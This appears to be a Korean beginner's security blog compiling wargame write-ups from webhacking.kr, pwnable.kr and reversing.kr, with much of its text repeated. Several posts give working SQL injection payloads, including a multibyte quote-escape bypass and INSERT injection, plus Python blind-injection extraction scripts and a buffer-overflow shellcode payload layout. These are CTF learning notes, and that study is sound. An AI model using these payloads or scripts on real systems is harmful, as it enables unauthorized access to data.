rootshell.kr (104.199.254.30) 으로 이전했습니다.
이곳블로그 보다 더 심도있는 게시글을 위주로 올리고있습니다.
감사합니다.
저번의 마지막 글 이후로 꽤 시간이 흘렀습니다.
새로운 블로그 관리하느랴 기존의 이 블로그에는 소흘했었는데요!
104.199.254.30
아직 도메인을 구매하지 않아 깔끔하지 않지만 꽤 좋은 글들을 쓸려고 노력하는 블로그 입니다.
앞으로 이 곳 또한 많이 찾아서 정보 공유해주시면 감사하겠습니다!!!
이 블로그는 제가 보안공부를 처음하면서 남긴 글들이 보안공부 입문자들에게 조금은 도움이 되고있다는 것을 아직도 메일을 받으면서 깨닫고있습니다!!
이 블로그 게시글에 대한 의견과 문의, 질문, 피드백 모두 확인하겠습니다!!
새로운 블로그 주소는 104.199.254.30 입니다.(한번 더 강조....)
새로운 블로그 관리하느랴 기존의 이 블로그에는 소흘했었는데요!
104.199.254.30
아직 도메인을 구매하지 않아 깔끔하지 않지만 꽤 좋은 글들을 쓸려고 노력하는 블로그 입니다.
앞으로 이 곳 또한 많이 찾아서 정보 공유해주시면 감사하겠습니다!!!
이 블로그는 제가 보안공부를 처음하면서 남긴 글들이 보안공부 입문자들에게 조금은 도움이 되고있다는 것을 아직도 메일을 받으면서 깨닫고있습니다!!
이 블로그 게시글에 대한 의견과 문의, 질문, 피드백 모두 확인하겠습니다!!
새로운 블로그 주소는 104.199.254.30 입니다.(한번 더 강조....)
안녕하세요 오랫만에 글을 씁니다.
지금 latifundium.blogspot.kr 블로그는 제가 아주 초기때, C언어를 공부할 때 부터 공부한 것을 하나씩 차곡차곡 올렸던 블로그입니다.
벌써 2년정도 된거같은데......
현재 블로그의 글이 너무 오합지졸하고, 지식을 주지못하는 내용도 있고, 제가 마음에 들지 않는 글도 있어서
google cloud platform에 wordpress 를 적용시켜 새로운 블로그를 만들었지만 아직 게시글이 부족하여 공개는 안하고 있습니다. 앞으로 이곳에도 글을 올리겠지만 대부분의 글은 새로운 블로그에 작성하고 좀 더 시간이 흐른 후에 url을 공개하겠습니다!!
지금 latifundium.blogspot.kr 블로그는 제가 아주 초기때, C언어를 공부할 때 부터 공부한 것을 하나씩 차곡차곡 올렸던 블로그입니다.
벌써 2년정도 된거같은데......
현재 블로그의 글이 너무 오합지졸하고, 지식을 주지못하는 내용도 있고, 제가 마음에 들지 않는 글도 있어서
google cloud platform에 wordpress 를 적용시켜 새로운 블로그를 만들었지만 아직 게시글이 부족하여 공개는 안하고 있습니다. 앞으로 이곳에도 글을 올리겠지만 대부분의 글은 새로운 블로그에 작성하고 좀 더 시간이 흐른 후에 url을 공개하겠습니다!!
SQL injection 문제는 재미있어서 계속 포스팅을 해보도록 하겠습니다.
로그인을 하면 GET 요청으로 서버측에 전송이 되는 것을 확인 할 수가 있었습니다.
그리고 정답이면 OK가 출력되는 것을 보니...블라인드 SQL 인젝션 문제라는 것을 확인할 수가 있었습니다.
id=guest' and 1=1-- &pw=guest를 입력했을 때의 반응입니다.
사실 여기서는 보이지 않았지만
id=guest'-- &pw=1
을 입력했을 때에도 guest로 로그인이 되며
id=admin'-- &pw=1일 때도 admin으로 로그인이 됩니다.
그렇다면 블라인드 sql 인젝션 공격을 시도해 볼 수 있게 되었습니다.
여러가지를 필터링하고 있어서 공격이 쉬울 것같다는 생각은 들지 않았습니다.
근데 저 white space 필터링이 공백 필터링인거 같은데, 공백 필터링을 하지 않더라구요
만약 space bar 즉, %20을 필터링한다면,
%0A(줄바꿈), %09(Tab), (), 로 우회할 수가 있습니다.
id=admin'and(1=1)-- 을 했을 경우에도 정상적으로 admin 로그인이 되었습니다.
방금까지 OK guest 또는 OK admin 이런 메시지를 확인할 수 있었는데 만약 거짓 조건을 줘버리면 False가 뜹니다.
필터링에 걸리게 되면 No hack 메시지가 뜨게 됩니다.
위 세개의 사진으로 admin의 password길이를 알 수가 있었습니다. 참과 거짓의 반응으로 원하는 답을 찾아가는 블라인드 sql 인젝션 공격임을 다시한번 확인할 수 있습니다.
이는 공격을 하기위한 python 스크립트 입니다.
문자열을 자르기 위해서
Oracle 서버에서는 substr 함수를 사용하고
Ms-SQL 서버에서는 substring 함수를 사용한다고 합니다.
계속 하던데로 substr을 했는데 계속 실패해서 많은시간을 소비했는데 substring으로 했을 때 된걸보니 Ms-sql 서버인가봅니다.
확실하진 않지만 서버차이인건 분명한거라 생각합니다.
예전에 ROP 기법을 공부할 때 풀어봤던 문제였는데 폴더를 정리하던 중 그 때 공부하면서 작성한 POC가 있어서 공유해보겠습니다.
저는 이 문제는 ROP 기법의 정석적인 문제였습니다. 또한 ASLR 까지도 적용되어있어서 공부가 많이 되는 문제였습니다.
정리는 제가 주관적으로 생각했을 때 밑에 블로그가 설명을 가장 잘 적어논 것 같아서 링크 첨부하겠습니다.
https://yous.be/2014/03/19/ropasaurusrex-a-primer-on-return-oriented-programming/
파일 첨부(google drive)
ropasaurusrex.py
저는 이 문제는 ROP 기법의 정석적인 문제였습니다. 또한 ASLR 까지도 적용되어있어서 공부가 많이 되는 문제였습니다.
정리는 제가 주관적으로 생각했을 때 밑에 블로그가 설명을 가장 잘 적어논 것 같아서 링크 첨부하겠습니다.
https://yous.be/2014/03/19/ropasaurusrex-a-primer-on-return-oriented-programming/
파일 첨부(google drive)
ropasaurusrex.py
오랫만의 리버싱 포스팅입니다.
요새 비오비 플젝때매 바빳는데 잠깐 짬내서 reversing.kr의 PEpassword문제와 AutoHotkey문제를 풀었습니다.
모든 풀이는 제외하고 간단히 방법만 포스팅하겠습니다.
먼저 두개의 바이너리가 제공됩니다.
original.exe와 packed.exe파일입니다.
<original.exe>
<packed.exe>
흠...original.exe 파일은 원본파일이고, packed파일은 패킹이 되있어서 password가 맞으면 언패킹이 되는 문제인거 같습니다.
그럼 일단 packed.exe파일을 리버싱을 해서 password를 알아내야할 것 같습니다. original.exe파일을 왜 줬을지도 생각해 봐야하겠구요!!!
혹시나....아이다의 헥스레이가 빛을 바랠 수 있을지 시도해봤습니다.
....??? fail 이라네요.
sp 값에 문제가 있어서 디컴파일이 안된다는데, 그럼 수정을 해봐야겠습니다.
오류가 생긴 부분에 가서 alt+k를 누르면 저런 창이떠서 sp값을 바꿔줄 수가 있습니다. 이 값을 current sp 값과 동일하게 바꾸면 왠만하면 해결 됩니다.
또이러네....ida의 헥스레이 기능은 포기하겠습니다.
근데 일단 저 부분이 뭔가 있을 것 같은 예감이 들었습니다. 왜 저 부분이 문제가 있을까??? 생각해보고 넘어 가도록 하겠습니다.
저 부분(CMP 부분)이 값을 입력하면 멈춰서 CALL 004091D8 부분에서 연산 후 리턴값을 비교하는 부분입니다.
함수안은 요런데....흠....이건 도저히 연산을 코드로 못짤꺼 같아서 일단 CMP 부분후의 ZF를 CMP 부분이 참일 떄로 맞추었습니다.
비교부분!!
첨부터 의심스러웠는데.. 여기서 UPX 언패킹을 upx -d 옵션을 쓰지 않고 한번쯤 디버거로 언패킹을 해보신 경험이 있으신 분은 PUSHAD - POPAD 이어지는 언패킹과정 아실꺼에요!!
하지만 여기서도 PUSHAD - POPAD로 이어지는 구문을 봤었는데 혹시나해서 BP를 걸어보니 CMP 부분을 맞춰주고 난후에 여기서 걸리는 것을 확인했습니다ㅎㅎ
여기서 주석을 참고하시고 코딩을 하시면 됩니다!!!!
exploit을 적용해야하는 프로젝트를 진행하고 있는데, 그 공부를 하던 중 익스 공부를 너무 쉰거같다는 느낌을 받아서 pwnable.kr 의 echo1 문제를 풀게 되었습니다.
소스 코드는 요즘 ida에서 왠만한 거는 다 번역해주니 필요한 부분만 올리겠습니다.
우선 취약점이 터지는 부분은 echo1() 함수 안에서 였습니다.
__int64 echo1()
{
char s; // [bp-20]
(*((void (_QWORD))o + 3))(o); //greetings
get_input(&s, 128LL); //get_input
puts(&s);
(*((void (_QWORD))o + 4))(o); //byebye()
return 0LL;
}
이 부분인데
main 함수 안에서
id = user_name[0]; //input value(8byte)
getchar();
func[0] = (__int64)echo1;
...
...
...
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ", v3);
v3 = &selection;
__isoc99_scanf("%d", &selection);
getchar();
if ( (unsigned int)selection > 3 )
break;
((void (const char *, int *))func[(unsigned __int64)(unsigned int)(selection - 1)])("%d", &selection);
1번을 선택하면 echo1 함수를 호출 할 수가 있습니다.
나머지 echo2나 echo3은 함수는 이 문제에서는 신경 쓸 필요가 없었습니다.
echo1 함수 안을 보면
32크기의 s 변수에 128 만큼의 값을 쓸 수 있도록 만들어 놓았습니다.
그렇다면 ret 까지 덮어서 원하는 공격을 수행할 수 있습니다.
일단 취약점이 터지는 부분은 알았는데 어떻게 공격을 수행해야 할까요??
저기 빨간색글씨들이 공격에 필요한 요소들입니다.
-----------------------------------------------------------------------------------------
프로그램을 보면,
1. name을 입력받는다.
2. id에 입력한 name을 저장한다.
3. 메뉴를 선택한다.
4. 1번 선택시 echo1() 함수로 들어간다.
5. echo1()에서 변수 s 를 덮어 씌울 수 있는 입력을 수행할 수 있다.
----------------------------------------------------------------------------------------
페이로드는 아마도...이런식?? 이 될 꺼같아요..(64bit임을 주의)
payload = | nop slop(32) | rbp (8) | ret | ......|
우선 id 가 중요하게 작용합니다. 저두 이걸 몰라서 해맸었습니다.
왜냐면 id 변수는....
bss영역에 있었습니다. 이 영역은 해커들의 영역이라고도 불리며 aslr의 영향을 받지 않는 곳으로 알려져 있습니다.
id 변수에서 내가 입력한 name을 저장하고, 그 name은 8 byte이므로 확실히 이 곳에 필요한 주소를 넣어 줄 수가 있습니다.
그럼 이 곳에 어떤 주소를 넣어 주어야 할까요?? 아마 jmp rsp 아닐까요??
왜냐하면 저는 사용할 페이로드가
'A'*32+'b'*8+'id_addr(ret)'+'shellcode(64 bit)'
이기 때문입니다. 처음 32bit 쉘코드를 넣다가 계속 안되서 64bit임을 알고 찾아서 넣어줬더니 성공했습니다.
여기서 ret 을 하게 되면 id주소로 뛰게 되고(.bss 영역) id에는 jmp rsp 의 주소가 들어있기 때문에 jmp rsp 명령이 수행되게 됩니다.
ret이 수행되고 난후 스택은 rsp+8(64bit)가 되고 넣어준 shellcode를 가리키게 됩니다.
그럼 파이썬으로 익스코드를 짜서 공격을 할 수가 있습니다.
풀이는 여기 까지 하겠습니다!!!
프로젝트 진행 중에 워게임을 잠깐 풀어보고 싶어서 전에 풀다 말았던 문제를 풀어보았습니다.
volatility 도구는 메모리 덤프파일을 분석하는 툴이라고 합니다.
저도 포렌식 공부는 워게임 이외에 다른걸 많이 해보지 않아서 검색으로 알아냈습니다.
-f 옵션으로 분석한 파일 이름을 지정해 줄 수가 있습니다.
자세한 옵션 목록을 보려면 -h 옵션을 주면 됩니다.
psxview 는 psscan과 pslist로 조합 된 명령이라고 합니다.
이 명령으로 윈도우에서 은페기능으로 동작하는 프로세스를 찾아 낼 수가 있다고 합니다.
psscan: 실행중인 프로세스 ㅏ
pslist: 실행 중인 프로세스 나열
psxview: psscan과 pslist 중 하나라도 False가 나온다면 은폐 된 프로세스로 의심 된다고 합니다.
pstree로 실행 중인 프로세스의 상관관계를 보니 cmd.exe를 자식프로세스로 실행하고 있었습니다.
connections 명령을 주면 네트워크 접속 목록 등의 정보 등을 볼 수 있습니다.
같은 카페라고 하니, 피해자와 같은 로컬에 있을 것이라고 생각했습니다.
nc.exe_1124_80_Fri-Nov-02-09:06:48-2012
Fri-Nov 이 부분은 명령으로 나오지 않아서 달력으로 해당하는 날짜를 찾아서 인증하였습니다.
와ㅋㅋㅋ드디어 풀었습니다. 방화벽까지 다끄고 포트 하나만 열고 몇시간 켜놨더니 password가 뜨네요
이건 풀이가 따로 존재하지 않기때문에 푼 사진과 코드만 보이겠습니다.
이건 풀이가 따로 존재하지 않기때문에 푼 사진과 코드만 보이겠습니다.
- import urllib, urllib2
- password=""
- space="%20"
- for i in range(1,20): #'+str(i)+'
- for j in range(0,10000):
- url="http://webhacking.kr/challenge/web/web-16/?server=124.59.207.148"
- req = urllib2.Request(url)
- req.add_header('Cookie','PHPSESSID=zxczxczxc')
- res=urllib2.urlopen(req)
- print res.read()
- print "j: "+str(j)
- if "Password" in res.read():
- #print chr(j)
- password +=chr(j)
- break
- print password
이 문제는 .htaccess에 대해서만 잘 알고있다면 쉽게 풀었을 문제인데 제가 웹 공부를 시작한지 이제 한달 조금 넘겨서 잘 몰라서 많이 찾아봤습니다.
.htaccess 파일이란?
디렉토리별로 설정을 변경할 수 있는 설정파일을 말하는데, 분산 설정 파일이라고도 불린다고 합니다.
이 파일을 해당 디렉토리에 두면 그 디렉토리와 모든 하위 디렉토리에 지시어를 적용할 수가 있습니다.
이 .htaccess 파일을 이용하면 사용자가 특정 디렉토리 내의 파일에 접근하는 것을 막을 수가 있다고 합니다.
뭔가 중요한 파일이라는 생각이 들었습니다.
.htaccess 파일을 이용하면 사용자가 특정 디렉토리의 접근을 제어할 수가 있다고 하는데 이 문제에서 보듯
저기 http://webhacking.kr/challenge/web/web-13/upload/index.php 를 읽어라!!!라는 뜻으로 해석을 했습니다. 즉 이 디렉토리 (/challenge/web/web-13/upload/index.php)를 읽으면 문제가 풀릴 것이라고 생각했습니다.
그래서 구글에 .htaccess 파일 설정, .htaccess 디렉토리 읽기 등의 많은 검색을 한 끝에
http://hyunmini.tistory.com/48
이 블로그에서 거의 답에 근접하게 원하는 정보를 얻을 수가 있었습니다.
php 엔진을 꺼버리면 php 소스를 모두 열람할수도 있다.(모두!!!)
그리고 끄는 방법은 php_flag engine off 였습니다.
만약 a라는 파일안에 hello world 를 적고 업로드를 하게되면, 이 문제에서는
Done홈페이지 보안 문제로 파일내용은 표시해주지 않습니다.
부득이하게 이렇게 하드코딩으로 바꿔놨으나, 실제로 취약점이 있는 상황에서 사용할 수 있는 취약점이니 재밌게 풀어주세요.
hint : .htaccess
라는 경고가 있지만, burp suite로 잡아서 보게되면 파일 내용까지도 모두 서버로 전달이 되게 됩니다. 따라서 .htaccess 라는 이름을 가진 파일을 만들어서 그 안에다가 php_flag engine off 를 적어주면 서버측에서는 .htaccess 를 설정파일이라고 생각하고 그 안에있는 정보를 읽어 적용하게 됩니다.
그럼 모든 php 소스가 열람 가능하게 되어서 read me 가 가능해집니다.
이번 문제는 그냥 말로 설명해도 될 꺼같아서 사진을 찍지 않았습니다~~~
.htaccess 파일이란?
디렉토리별로 설정을 변경할 수 있는 설정파일을 말하는데, 분산 설정 파일이라고도 불린다고 합니다.
이 파일을 해당 디렉토리에 두면 그 디렉토리와 모든 하위 디렉토리에 지시어를 적용할 수가 있습니다.
이 .htaccess 파일을 이용하면 사용자가 특정 디렉토리 내의 파일에 접근하는 것을 막을 수가 있다고 합니다.
뭔가 중요한 파일이라는 생각이 들었습니다.
.htaccess 파일을 이용하면 사용자가 특정 디렉토리의 접근을 제어할 수가 있다고 하는데 이 문제에서 보듯
저기 http://webhacking.kr/challenge/web/web-13/upload/index.php 를 읽어라!!!라는 뜻으로 해석을 했습니다. 즉 이 디렉토리 (/challenge/web/web-13/upload/index.php)를 읽으면 문제가 풀릴 것이라고 생각했습니다.
그래서 구글에 .htaccess 파일 설정, .htaccess 디렉토리 읽기 등의 많은 검색을 한 끝에
http://hyunmini.tistory.com/48
이 블로그에서 거의 답에 근접하게 원하는 정보를 얻을 수가 있었습니다.
php 엔진을 꺼버리면 php 소스를 모두 열람할수도 있다.(모두!!!)
그리고 끄는 방법은 php_flag engine off 였습니다.
만약 a라는 파일안에 hello world 를 적고 업로드를 하게되면, 이 문제에서는
Done홈페이지 보안 문제로 파일내용은 표시해주지 않습니다.
부득이하게 이렇게 하드코딩으로 바꿔놨으나, 실제로 취약점이 있는 상황에서 사용할 수 있는 취약점이니 재밌게 풀어주세요.
hint : .htaccess
라는 경고가 있지만, burp suite로 잡아서 보게되면 파일 내용까지도 모두 서버로 전달이 되게 됩니다. 따라서 .htaccess 라는 이름을 가진 파일을 만들어서 그 안에다가 php_flag engine off 를 적어주면 서버측에서는 .htaccess 를 설정파일이라고 생각하고 그 안에있는 정보를 읽어 적용하게 됩니다.
그럼 모든 php 소스가 열람 가능하게 되어서 read me 가 가능해집니다.
이번 문제는 그냥 말로 설명해도 될 꺼같아서 사진을 찍지 않았습니다~~~
이전에 풀었던 50번 문제와 취약점도 비슷하고 상당히 유사하기 때문에 간단하게만 적겠습니다.
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
50번에서 본 취약점이 발생하는 부분이고, %a1~%fe 였나를 ' 전에 쓰면 매직쿼터 모시기가 우회되어 쿼터 사용이 가능하다고 합니다.
if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
if($data)
{
echo("hi $data[0]<br><br>");
if($data[0]=="admin") @solve();
}
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
if($data)
{
echo("hi $data[0]<br><br>");
if($data[0]=="admin") @solve();
}
번에서 본 취약점이 발생하는 부분이고, %a1~%fe 였나를 ' 전에 쓰면 매직쿼터 모시기가 우회되어 쿼터 사용이 가능하다고 합니다.
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
50번에서 했듯이 md5 부분은 주석으로 없애버리도록 합시다.
id=%a1'or id=/*
pw=*/admin#
$data=@mysql_fetch_array(mysql_query("select id from members where id='%a1'or id=/*' and pw=md5('*/admin#')"));
그럼 실질적으로는
@mysql_fetch_array(mysql_query("select id from members where id=''or id=admin
여기서 admin은 0x...... 나 char(x,x,x,x,x) 이런 형식으로 써주어야 합니다.
답: ?id=%a1'or id=/*&pw=*/0x61646d696e%23
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
mb_convert_encoding이란 함수를 처음 봐서 검색해보니 취약점이 존재하는 함수라고 합니다.
저 위에는 $_GET으로 받아온 id 변수를 'euc-kr'에서 'utf-8'로 변환시켜라!!! 라는 뜻입니다.
하지만 'euc-kr'에서는 한글 1글자가 2바이트이지만, 'UTF-8'에서는 한굴 1글자가 3바이트라서 2Byte -> 3Byte 로 변환되는 과정에서 1바이트가남아서 생기는 취약점이라고 합니다.
자세하게 어떤 원리로 나타나는 취약점인지는 모르겠지만....
%a1 ~ %fe 범위의 값을 쿼터 이전에 사용하면 매직 쿼터 기법을 우회할 수가 있다고 합니다.
따라서 우리는 url에서 '를 사용할 수가 있게 되었습니다.
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
처음 이부분을 봤을 때 md5로 pw를 해시시키고 id와 and 한다음 lv를 뽑아낸다...
느낌적으로 md5는 신경안써도 되겠구나라고 생각했습니다. 아예 주석처리를 해버릴까??생각을 했는데 그게 맞아 떨어 졌습니다.
id=admin%a1'/*
pw=*/union select 3#
("select lv from members where id='admin%a1'/*' and pw=md5('*/union select 3#'))
정리해보면
("select lv from members where id='admin%a1' union select 3#'))
일케하면 members 테이블에 값 3이 들어가게 되고 답이 출력됩니다.
아 그리고 계속 까먹네요... "select 로 시작해서 sql injection을 하고 뒤에 괄호를 닫아줘야하나 "의 짝을 맞추어 주어야하나...이런거요. 이유는 모르겠지만 다들 injection 뒤에 괄호를 닫거나 "를 닫거나 하지 않으셔서 안하고는 있지만 다음에 이유를 알아서 포스팅 해보도록 해보겠습니다.
id=admin%a1'/*
pw=*/union select 3#
#은 url encoding을 하셔야 합니다.
mb_convert_encoding이란 함수를 처음 봐서 검색해보니 취약점이 존재하는 함수라고 합니다.
저 위에는 $_GET으로 받아온 id 변수를 'euc-kr'에서 'utf-8'로 변환시켜라!!! 라는 뜻입니다.
하지만 'euc-kr'에서는 한글 1글자가 2바이트이지만, 'UTF-8'에서는 한굴 1글자가 3바이트라서 2Byte -> 3Byte 로 변환되는 과정에서 1바이트가남아서 생기는 취약점이라고 합니다.
자세하게 어떤 원리로 나타나는 취약점인지는 모르겠지만....
%a1 ~ %fe 범위의 값을 쿼터 이전에 사용하면 매직 쿼터 기법을 우회할 수가 있다고 합니다.
따라서 우리는 url에서 '를 사용할 수가 있게 되었습니다.
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
처음 이부분을 봤을 때 md5로 pw를 해시시키고 id와 and 한다음 lv를 뽑아낸다...
느낌적으로 md5는 신경안써도 되겠구나라고 생각했습니다. 아예 주석처리를 해버릴까??생각을 했는데 그게 맞아 떨어 졌습니다.
id=admin%a1'/*
pw=*/union select 3#
("select lv from members where id='admin%a1'/*' and pw=md5('*/union select 3#'))
정리해보면
("select lv from members where id='admin%a1' union select 3#'))
일케하면 members 테이블에 값 3이 들어가게 되고 답이 출력됩니다.
아 그리고 계속 까먹네요... "select 로 시작해서 sql injection을 하고 뒤에 괄호를 닫아줘야하나 "의 짝을 맞추어 주어야하나...이런거요. 이유는 모르겠지만 다들 injection 뒤에 괄호를 닫거나 "를 닫거나 하지 않으셔서 안하고는 있지만 다음에 이유를 알아서 포스팅 해보도록 해보겠습니다.
id=admin%a1'/*
pw=*/union select 3#
#은 url encoding을 하셔야 합니다.
rank table에는
------------------------------------
id
-------------------------------------
score
-------------------------------------
password
-------------------------------------
이런식으로 되어있는 것 같습니다.
password colunm을 알아야할 것 같아서 procedure analyse()를 사용해보기로 했습니다.
이전에 풀었던 문제중에서 이 함수를 통해 테이블의 이름을 얻어온 적이 있었죠??
일단 참과 거짓일 때의 결과가 다릅니다. 따라서 Blind sql injection을 수행할 수가 있었습니다.
ascii, from, substr 등 여러개가 필터링이 걸려있는 것을 확인할 수가 있었습니다.
length는 다행히 걸려있지 않았습니다.
그럼 password의 길이를 알아 봐야하는데 password 칼럼이 어떤 이름으로 되어있는지를 알지 못합니다. 단지 패스워드가 소문자라는 힌트밖에 없었습니다.
?score=1 or 1=1 limit 2 procedure analyse() 를 입력해쓸 때의 결과 값입니다.
id : oldzombie.challenge55_game.ip //
여기선 생략 했지만, ?score=1 or 1=1 limit 1,0 procedure analyse() 일때의 결과 값은
id : oldzombie.challenge55_game.score //
입니다.
?score=1 or 1=1 limit 2,1 procedure analyse() 세번째 값을 보기위해서 시도하였습니다.
id : oldzombie.challenge55_game.pAsSw0RdzzzZ //
password가 들어있는 colunm의 명은 pAsSw0RdzzzZ 입니다.
따라서 length(pAsSw0RdzzzZ) 나 ascii(substr(pAsSw0RdzzzZ,1,1))=?? 으로 길이와 값을 찾아줄 수가 있게 되었습니다.
단 ascii와 select, substr등이 필터링 되어있기 때문에 다른 방법을 찾아야하는데 검색 끝에 right와 left를 이용해서 ascii와 substr같은 효과를 낼 수가 있었습니다.
만약 string="hello" 일때 ascii(substr($string,1,1))=h가 됩니다.
여기서는 right와 left를 이용해야하는데, substr과는 다르게 인자가 2개밖에 들어가지가 않습니다.
left($string,1)은 h 가되고 left($string,2)은 he가 됩니다. left($string,3)은 hel이 되겠구요
right(left($string,2),1) 은 left($string,2)가 he 그중 가장 오른쪽인 e를 가져오고
rigth(left($string,3),1) 은 left($string,3)가 hel 이고 가장 오른쪽인 l을 가져옵니다.
이런식으로 ascii(substr($string,1,1)) 과 같은 효과를 낼 수가 있습니다.
그렇다면 전과 같은 방법으로 스크립트를 작성해보도록 하겠습니다.
- import urllib, urllib2
- password=""
- password_len=0
- tem=''
- for i in range(1,30):
- url="http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20length(pAsSw0RdzzzZ)="+str(i)
- req=urllib2.Request(url)
- req.add_header('Cookie','PHPSESSID=본인꺼 입력')
- res=urllib2.urlopen(req)
- if "localhost" in res.read():
- print "Length or password: "+ str(i)
- password_len=i
- break
- for i in range(17, 19):
- for j in range(0,123):
- url="http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20right(left(pAsSw0RdzzzZ,+"+str(i)+"),1)="+hex(j)
- req=urllib2.Request(url)
- req.add_header('Cookie','PHPSESSID=본인꺼 입력')
- res=urllib2.urlopen(req)
- if "localhost" in res.read():
- tem=str(hex(j))[2::]
- password=password+tem
- print password
이렇게 하면 password를 구할 수가 있었습니다ㅎㅎ
정상적으로 파일이 업로드가 되면 Done이라는 문자열이 출력이 됩니다.
@mysql_query("insert into challenge35_list values('time','ip','file')
이런식으로 sql의 insert ~ values 구문이라고 생각했습니다.
저기서 catch 한 점은 time과 ip는 자동으로 넣어주는 것 같고....(파일만 업로드했기 때문에)
abc','abc','abc');# 을 파일명으로 한 파일을 업로드 시켰을 때 Done이 떳습니다.
여기서 생각없이 넣어봤는데 Done이 뜬걸보고
@mysql_query("insert into challenge35_list values('file', 'ip', 'time')
또는
@mysql_query("insert into challenge35_list values('file', 'time','ip')
라고 생각하게 되었습니다. 혹시나 ' 와 ( , ) 같은 것이 필터링이 되는지도 점검했는데 --(주석)은 필터링이 되는 것 같고 나머지는 딱히 필터링이 되어있는지 알지못했습니다.
abc',(select password from c29_tb), char(IP));#
이거 또는
abc',char(IP), (select password from c29_tb));#
IP는 .을 필터링해서 없애버리기 떄문에 0x나 char로 만들어줘야합니다.
ip를 굳이 제대로 맞춰야하나 해서 대충 아무값이나 넣었었는데 그렇게 되면 Done은 뜨지만 파일이 업로드가 된게 보이지가 않았습니다.
이전 8번과 비슷한 문제입니다. 풀이는 거의 동일함으로 사진 생략하겠습니다.
@mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
insert 문제인데 values( 1 ),( 2 ),( 3 ) 이런게 계속 가능합니다.
따라서 아까는 주석을 썼지만 확인하시면 아시다시피 #와 - 모두 쓸수 없기 때문에 또한 $_SESSION[id]를 건드릴수 없고 맨 마지막 인자인 $_GET[phone] 만 건드려 줄 수 있기 때문에 저렇게 여러개의 값을 insert 하는 방법밖에는 없습니다..
@mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
insert 문제인데 values( 1 ),( 2 ),( 3 ) 이런게 계속 가능합니다.
따라서 아까는 주석을 썼지만 확인하시면 아시다시피 #와 - 모두 쓸수 없기 때문에 또한 $_SESSION[id]를 건드릴수 없고 맨 마지막 인자인 $_GET[phone] 만 건드려 줄 수 있기 때문에 저렇게 여러개의 값을 insert 하는 방법밖에는 없습니다..
phone:010),('admin','내 ip', 010
이것을 넣어주면
values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]', phone:010),('admin','내 ip', 010 )")
이렇게 여러개 넣어준 형식이 됩니다. 그럼 공격은 성공하게 되는데요
문제점이 일단 '' 이런걸 써줄수 없다고는 앞에서의 문제에서 말했습니다.(magic quoter g 어쩌구) 따라서 0x124124 이렇게 핵스값으로 문자열을 표현하거나 char(12,123,123,) 이렇게 문자로 치환해 주는 형식을 사용해야 합니다.
하지만 x는 필터링이 되어있기 때문에 후자의 방법을 선택하면 됩니다.
?phone=010),(char(97,100,109,110),char(XX,50,52,46,XX,57,46,50,48,55,46,XX,52,56),010
이 정도 그림은 살짝 노가다 하면 맞출 수 있으실 꺼라 생각합니다.
그림을 다 맞추면 저렇게 이름을 입력할 수 있는 칸이 나옵니다. 저기에 물론 admin을 넣어봤습니다.
그러면 저기 answer에 이상한 이진수가 들어가 있는 것을 볼 수가 있는데 저 부분을 크롬의 개발자 도구로 봤지만, burp suite로 날라가는 요청을 잡아서 보면 Request에 저 이진수가 포함되어서 id값과 함꼐 날라갑니다.(어제 푼 문제라서 사진을 다시찍기 귀찮아 대충설명만 하겠습니다) 참으로 만들어 주어야합니다.(참이 되야 id에 해당하는 answer이 나오기 때문)
그래서 and와 or 중에 선택을 할 수가있는데 and는 이미 이진수가 거짓이기 떄문에 답이 거짓밖에 나올수가 없고, 따라서 or을 선택해서 or 1 을 해주든 해야합니다.
or 을했을 때 필터링이 걸려있다는 경고가 출력되는데, 따라서 || 을 써주어야 합니다.
그럼 여기까지 하겠습니다.
















































